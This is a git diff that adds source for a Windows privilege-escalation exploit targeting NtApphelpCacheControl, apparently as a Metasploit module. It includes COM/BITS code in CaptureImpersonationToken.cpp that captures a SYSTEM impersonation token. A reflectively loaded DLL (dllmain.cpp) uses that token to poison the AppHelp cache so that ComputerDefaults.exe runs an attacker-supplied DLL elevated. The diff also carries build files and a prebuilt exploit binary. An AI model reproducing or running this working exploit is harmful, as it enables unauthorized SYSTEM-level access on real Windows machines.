diff --git a/data/exploits/ntapphelpcachecontrol/exploit.dll b/data/exploits/ntapphelpcachecontrol/exploit.dll new file mode 100755 index 0000000000..bb6987f00c Binary files /dev/null and b/data/exploits/ntapphelpcachecontrol/exploit.dll differ diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit.sln b/external/source/exploits/ntapphelpcachecontrol/exploit.sln new file mode 100755 index 0000000000..d13ac14ff5 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp new file mode 100755 index 0000000000..d4d5a6ae73 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp @@ -0,0 +1,228 @@ +#include "stdafx.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy +IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } }; + +class FakeObject : public IUnknown +{ + LONG m_lRefCount; + HANDLE* m_ptoken; + + void TryImpersonate() + { + if (*m_ptoken == nullptr) + { + HRESULT hr = CoImpersonateClient(); + if (SUCCEEDED(hr)) + { + HANDLE hToken; + if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) + { + PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); + DWORD ret_len = 0; + + if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) + { + LPWSTR sid_name; + + ConvertSidToStringSid(user->User.Sid, &sid_name); + + if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) + { + *m_ptoken = hToken; + RevertToSelf(); + } + else + { + CloseHandle(hToken); + } + + printf("Got Token: %p %ls\n", hToken, sid_name); + LocalFree(sid_name); + } + else + { + printf("Error getting token user %d\n", GetLastError()); + } + free(user); + } + else + { + printf("Error opening token %d\n", GetLastError()); + } + } + } + } + +public: + //Constructor, Destructor + FakeObject(HANDLE* ptoken) { + m_lRefCount = 1; + m_ptoken = ptoken; + *m_ptoken = nullptr; + } + + ~FakeObject() {}; + + //IUnknown + HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) + { + TryImpersonate(); + + if (riid == __uuidof(IUnknown)) + { + *ppvObj = this; + } + else if (riid == IID_FakeInterface) + { + printf("Check for FakeInterface\n"); + *ppvObj = this; + } + else + { + *ppvObj = NULL; + return E_NOINTERFACE; + } + + AddRef(); + return NOERROR; + } + + ULONG __stdcall AddRef() + { + TryImpersonate(); + return InterlockedIncrement(&m_lRefCount); + } + + ULONG __stdcall Release() + { + TryImpersonate(); + // not thread safe + ULONG ulCount = InterlockedDecrement(&m_lRefCount); + + if (0 == ulCount) + { + delete this; + } + + return ulCount; + } +}; + +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); + +bool DoCaptureToken(HANDLE* ptoken) +{ + // If CoInitializeEx fails, the exception is unhandled and the program terminates + + IBackgroundCopyJobPtr pJob; + try + { + //The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE. + HRESULT hr = CoInitializeSecurity(NULL, + -1, + NULL, + NULL, + RPC_C_AUTHN_LEVEL_CONNECT, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, + EOAC_DYNAMIC_CLOAKING, + 0); + if (FAILED(hr)) + { + throw _com_error(hr); + } + + // Connect to BITS. + IBackgroundCopyManagerPtr pQueueMgr; + + IMonikerPtr pNotify; + + CreatePointerMoniker(new FakeObject(ptoken), &pNotify); + + hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, + CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + GUID guidJob; + hr = pQueueMgr->CreateJob(L"BitsAuthSample", + BG_JOB_TYPE_DOWNLOAD, + &guidJob, + &pJob); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + pJob->SetNotifyInterface(pNotify); + } + catch (const std::bad_alloc &) + { + wprintf(L"Memory allocation failed"); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + catch (const _com_error &ex) + { + wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage()); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + + return true; +} + +class CoInitializer +{ +public: + CoInitializer() + { + CoInitialize(NULL); + } + + ~CoInitializer() + { + CoUninitialize(); + } +}; + +HANDLE CaptureImpersonationToken() +{ + CoInitializer coinit; + HANDLE token = nullptr; + + if (DoCaptureToken(&token)) + { + return token; + } + + return nullptr; +} diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp new file mode 100755 index 0000000000..e8d93926e3 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp @@ -0,0 +1,272 @@ +//#include "stdafx.h" +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include "my_winternl.h" +#include "sdb.h" +#include +#include +#include + +#define BUF_SIZE 0x108 +#define MAX_ENV 32767 + +enum APPHELPCOMMAND +{ + AppHelpQuery, // 0 -> 0x22003 DeviceIoControl + AppHelpRemove, // 1 -> 0x22007 + AppHelpUpdate, // 2 -> 0x2200B (Admin) + AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused) + AppHelpNotifyStart, // 4 -> 0x220013 (Admin) + AppHelpWriteRegistry, // 5 -> 0x220017 (Admin) + AppHelpNotifyStop, // 6 -> 0x22001B (Admin) + AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service) + AppHelpSnapshot, // 8 -> 0x220023 (Admin) + AppHelpQueryModule, // 9 -> 0x220027 + AppHelpRefresh, // 10 -> 0x22002B + AppHelpCheckForChange, // 11 -> 0x22002F + AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId) +}; + +struct ApphelpCacheControlData +{ + BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?) + DWORD query_flags; // 0x98; + DWORD cache_flags; // 0x9C + HANDLE file_handle; // 0xA0 + HANDLE process_handle; // 0xA4 + UNICODE_STRING file_name; // 0xA8 + UNICODE_STRING package_name;// 0xB0 + DWORD buf_len; // 0xB8 + LPVOID buffer; // 0xBC + BYTE unkC0[0x2C]; // 0xC0 -> 0xEC + UNICODE_STRING module_name; // 0xEC (used for 9) + BYTE unkF4[0x14]; // 0xF4 -> 0x108 +}; + +typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf); +typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +HANDLE CaptureImpersonationToken(); + +struct APPHELP_QUERY +{ + int match_tags[16]; + int unk40[16]; + int layer_tags[8]; + int flags; + int main_tag; + int match_count; + int layer_count; + GUID exe_guid; + int unkC0[264 / 4]; +}; + +BOOL resolveSdbFunctions(); +extern SdbOpenDatabase SdbOpenDatabasePtr; +extern SdbCloseDatabase SdbCloseDatabasePtr; +extern SdbTagToString SdbTagToStringPtr; +extern SdbGetFirstChild SdbGetFirstChildPtr; +extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr; +extern SdbGetNextChild SdbGetNextChildPtr; +extern SdbReadBinaryTag SdbReadBinaryTagPtr; + +TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid) +{ + TAG tmpTag = 0; + DWORD dwD = 0; + TAGID newtid = TAGID_NULL; + LPCTSTR tmp; + DWORD i = 0; + GUID guid; + + newtid = SdbGetFirstChildPtr(db, tid); + while (newtid != TAGID_NULL) + { + tmpTag = SdbGetTagFromTagIDPtr(db, newtid); + tmp = SdbTagToStringPtr(tmpTag); + + // process tag types + switch (tmpTag & 0xFFFF) + { + case TAG_EXE_ID: + if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid))) + { + if (IsEqualGUID(guid, exe_guid)) + { + return tid; + } + } + break; + + default: + break; + } + + // recursive + if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST) + { + TAGID ret = findExeByGuid(db, newtid, exe_guid); + if (ret != 0) + { + return ret; + } + } + + // get next tag + newtid = SdbGetNextChildPtr(db, tid, newtid); + } + + return 0; +} + +TAGID GetTagForRegsvr32() +{ + resolveSdbFunctions(); + + PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH); + if (!db) + { + DWORD stat = GetLastError(); + printf("Failed to load SDB file %d\n", stat); + return 0; + } + + GUID guid; + + IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid); + + TAGID ret = findExeByGuid(db, TAGID_ROOT, guid); + + SdbCloseDatabasePtr(db); + + return ret; +} + +LPWSTR GetEnvVar(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + GetEnvironmentVariable(env, buf, MAX_ENV); + return buf; +} + +DWORD CALLBACK ExploitMain(char * lpReserved) +{ + WCHAR dllpath_buf[MAX_PATH]; + WCHAR payloadPath[MAX_PATH]; + MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH); + + if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr)) + { + printf("Couldn't get fullpath to dll %d\n", GetLastError()); + return 1; + } + + std::wstring dllpath; + dllpath = L"\""; + dllpath += dllpath_buf; + dllpath += L"\""; + + TAGID tag = GetTagForRegsvr32(); + if (tag == 0) + { + printf("Failed to get SDB tag for regsvr32\n"); + return 1; + } + + printf("Found regsvr32.exe tag: %08X\n", tag); + + HANDLE token = CaptureImpersonationToken(); + _RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"); + _NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl"); + + ApphelpCacheControlData data = { 0 }; + + std::wstring exe = GetEnvVar(L"SystemRoot"); + exe += L"\\System32\\ComputerDefaults.exe"; + + std::wstring full_path = L"\\??\\"; + full_path += exe.c_str(); + + printf("Interposing on cache for %ls\n", full_path.c_str()); + + fRtlInitUnicodeString(&data.file_name, full_path.c_str()); + + data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + nullptr, OPEN_EXISTING, 0, 0); + if (data.file_handle == INVALID_HANDLE_VALUE) + { + printf("Error opening file %ls %d\n", exe.c_str(), GetLastError()); + return 1; + } + + data.query_flags = 0xFF; + data.cache_flags = 1; + + APPHELP_QUERY query = { 0 }; + query.match_count = 1; + query.layer_count = 0; + query.match_tags[0] = tag; + query.unkC0[0] = 1; + + data.buffer = &query; + data.buf_len = sizeof(query); + + int status = -1; + + // Ensure it the cache if flushed + fNtApphelpCacheControl(AppHelpRemove, &data); + + if (SetThreadToken(nullptr, token)) + { + status = fNtApphelpCacheControl(AppHelpUpdate, &data); + RevertToSelf(); + } + else + { + status = GetLastError(); + } + + if (status == 0) + { + LPCWSTR verb = L"runas"; + + printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str()); + ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW); + printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data)); + } + else + { + printf("Error adding cache entry: %08X\n", status); + } + + return 0; +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + ExploitMain((char*)lpReserved); + ExitProcess(0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj new file mode 100755 index 0000000000..f301286c06 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj @@ -0,0 +1,106 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {41275E8F-395F-492A-9770-38FE2FAA9669} + Win32Proj + exploit + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + + + Windows + true + true + true + + + + + + + + + + + + + + + false + + + false + + + + + + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h new file mode 100755 index 0000000000..8dd7bd7598 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h @@ -0,0 +1,866 @@ +#ifndef _WINTERNL_ +#define _WINTERNL_ +#include + +#pragma region Desktop Family +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + + +#if (_WIN32_WINNT >= 0x0500) + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // + // These data structures and type definitions are needed for compilation and + // use of the internal Windows APIs defined in this header. + // + + typedef _Return_type_success_(return >= 0) LONG NTSTATUS; + + typedef CONST char *PCSZ; + + typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + } STRING; + typedef STRING *PSTRING; + + typedef STRING ANSI_STRING; + typedef PSTRING PANSI_STRING; + typedef PSTRING PCANSI_STRING; + + typedef STRING OEM_STRING; + typedef PSTRING POEM_STRING; + typedef CONST STRING* PCOEM_STRING; + + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING; + typedef UNICODE_STRING *PUNICODE_STRING; + typedef const UNICODE_STRING *PCUNICODE_STRING; + + // + // The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB + // and TEB structures are subject to changes between Windows releases; thus, + // the field offsets and reserved fields may change. The reserved fields are + // reserved for use only by the Windows operating systems. Do not assume a + // maximum size for these structures. + // + // Instead of using the InMemoryOrderModuleList field of the + // LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules + // + // Instead of using the IsBeingDebugged field of the PEB structure, use the + // Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent + // + // Instead of using the SessionId field of the PEB structure, use the Win32 + // APIs GetCurrentProcessId and ProcessIdToSessionId + // + // Instead of using the Tls fields of the TEB structure, use the Win32 APIs + // TlsAlloc, TlsGetValue, TlsSetValue and TlsFree + // + // Instead of using the ReservedForOle field, use the COM API + // CoGetContextToken + // + // Sample x86 assembly code that gets the SessionId (subject to change + // between Windows releases, use the Win32 APIs to make your application + // resilient to changes) + // mov eax,fs:[00000018] + // mov eax,[eax+0x30] + // mov eax,[eax+0x1d4] + // + + // + // N.B. Fields marked as reserved do not necessarily reflect the structure + // of the real struct. They may simply guarantee that the offets of + // the exposed fields are correct. When code matches this pattern, + // + // TYPE1 ExposedField1; + // BYTE ReservedBytes[b]; + // PVOID ReservedPtrs[p]; + // TYPE2 ExposedField2; + // + // or that pattern with ReservedBytes and ReservedPtrs swapped, it is + // likely that 'b' and 'p' are derived from the following system: + // + // GapThirtyTwo = 4p + b + // GapSixtyFour = 8p + b + // + // where GapThirtyTwo is the number of bytes between the two exposed + // fields in the 32-bit version of the real struct and GapSixtyFour + // is the number of bytes between the two exposed fields in the 64-bit + // version of the real struct. + // + // Also note that such code must take into account the alignment of + // the ReservedPtrs field. + // + + typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + + typedef + VOID + (NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + + typedef struct _TEB { + PVOID Reserved1[12]; + _PPEB ProcessEnvironmentBlock; + PVOID Reserved2[399]; + BYTE Reserved3[1952]; + PVOID TlsSlots[64]; + BYTE Reserved4[8]; + PVOID Reserved5[26]; + PVOID ReservedForOle; // Windows 2000 only + PVOID Reserved6[4]; + PVOID TlsExpansionSlots; + } TEB, *PTEB; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES; + typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; + } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + typedef + VOID + (NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + + typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + _PPEB PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; + } PROCESS_BASIC_INFORMATION; + typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + + typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER Reserved1[2]; + ULONG Reserved2; + } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + BYTE Reserved1[52]; + PVOID Reserved2[3]; + HANDLE UniqueProcessId; + PVOID Reserved3; + ULONG HandleCount; + BYTE Reserved4[4]; + PVOID Reserved5[11]; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER Reserved6[6]; + } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + + typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + PVOID Reserved1; + } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + + typedef struct _SYSTEM_BASIC_INFORMATION { + BYTE Reserved1[24]; + PVOID Reserved2[4]; + CCHAR NumberOfProcessors; + } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + + typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + BYTE Reserved1[48]; + } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + + typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + BYTE Reserved1[312]; + } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_EXCEPTION_INFORMATION { + BYTE Reserved1[16]; + } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + + typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + BYTE Reserved1[32]; + } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + + typedef struct _SYSTEM_INTERRUPT_INFORMATION { + BYTE Reserved1[24]; + } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + + typedef struct _SYSTEM_POLICY_INFORMATION { + PVOID Reserved1[2]; + ULONG Reserved2[3]; + } SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1 + } FILE_INFORMATION_CLASS; + + typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29 + } PROCESSINFOCLASS; + + typedef enum _THREADINFOCLASS { + ThreadIsIoPending = 16 + } THREADINFOCLASS; + + typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation = 0, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemProcessInformation = 5, + SystemProcessorPerformanceInformation = 8, + SystemInterruptInformation = 23, + SystemExceptionInformation = 33, + SystemRegistryQuotaInformation = 37, + SystemLookasideInformation = 45, + SystemPolicyInformation = 134, + } SYSTEM_INFORMATION_CLASS; + + // + // Object Information Classes + // + + typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation = 0, + ObjectTypeInformation = 2 + } OBJECT_INFORMATION_CLASS; + + // + // Public Object Information definitions + // + + typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + + ULONG Reserved[10]; // reserved for internal use + + } PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION; + + typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION { + + UNICODE_STRING TypeName; + + ULONG Reserved[22]; // reserved for internal use + + } PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION; + +#if (_WIN32_WINNT >= 0x0501) + // + // use the WTS API instead + // WTSGetActiveConsoleSessionId + // The active console id is cached as a volatile ULONG in a constant + // memory location. This x86 memory location is subject to changes between + // Windows releases. Use the WTS API to make your application resilient to + // changes. + // +#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) ) +#endif // (_WIN32_WINNT >= 0x0501) + + // + // These functions are intended for use by internal core Windows components + // since these functions may change between Windows releases. + // + +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + + // + // use the Win32 API instead + // CloseHandle + // + __kernel_entry NTSTATUS + NTAPI + NtClose( + IN HANDLE Handle + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + // + // use the Win32 API instead + // N/A + // + __kernel_entry NTSTATUS + NTAPI + NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + + // + // use the Win32 API instead + // RegNotifyChangeKeyValue + // + + __kernel_entry NTSTATUS + NTAPI + NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + // + // use the Win32 API instead + // RegQueryValueEx + // + + typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; + } KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + + __kernel_entry NTSTATUS + NTAPI + NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + + // + // use the Win32 API instead + // N/A + // + + typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyWow64FlagsInformation, + KeyControlFlagsInformation, + KeySetVirtualizationInformation, + KeySetDebugInformation, + KeySetHandleTagsInformation, + MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum + } KEY_SET_INFORMATION_CLASS; + + __kernel_entry NTSTATUS + NTAPI + NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ _Strict_type_match_ + KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + + // + // use the Win32 API instead + // DeviceIoControl + // + __kernel_entry NTSTATUS + NTAPI + NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength + ); + + // + // use the Win32 API instead + // WaitForSingleObjectEx + // + NTSTATUS + NTAPI + NtWaitForSingleObject( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + // + // use the Win32 API instead + // CheckNameLegalDOS8Dot3 + // + BOOLEAN + NTAPI + RtlIsNameLegalDOS8Dot3( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + + // + // This function might be needed for some of the internal Windows functions, + // defined in this header file. + // + _When_(Status < 0, _Out_range_(>, 0)) + _When_(Status >= 0, _Out_range_(== , 0)) + ULONG + NTAPI + RtlNtStatusToDosError( + NTSTATUS Status + ); + + // + // use the Win32 APIs instead + // GetProcessHandleCount + // GetProcessId + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetThreadIOPendingFlag + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 APIs instead + // GetFileInformationByHandle + // GetFileInformationByHandleEx + // GetProcessInformation + // GetThreadInformation + // + + __kernel_entry NTSYSCALLAPI + NTSTATUS + NTAPI + NtQueryObject( + _In_opt_ HANDLE Handle, + 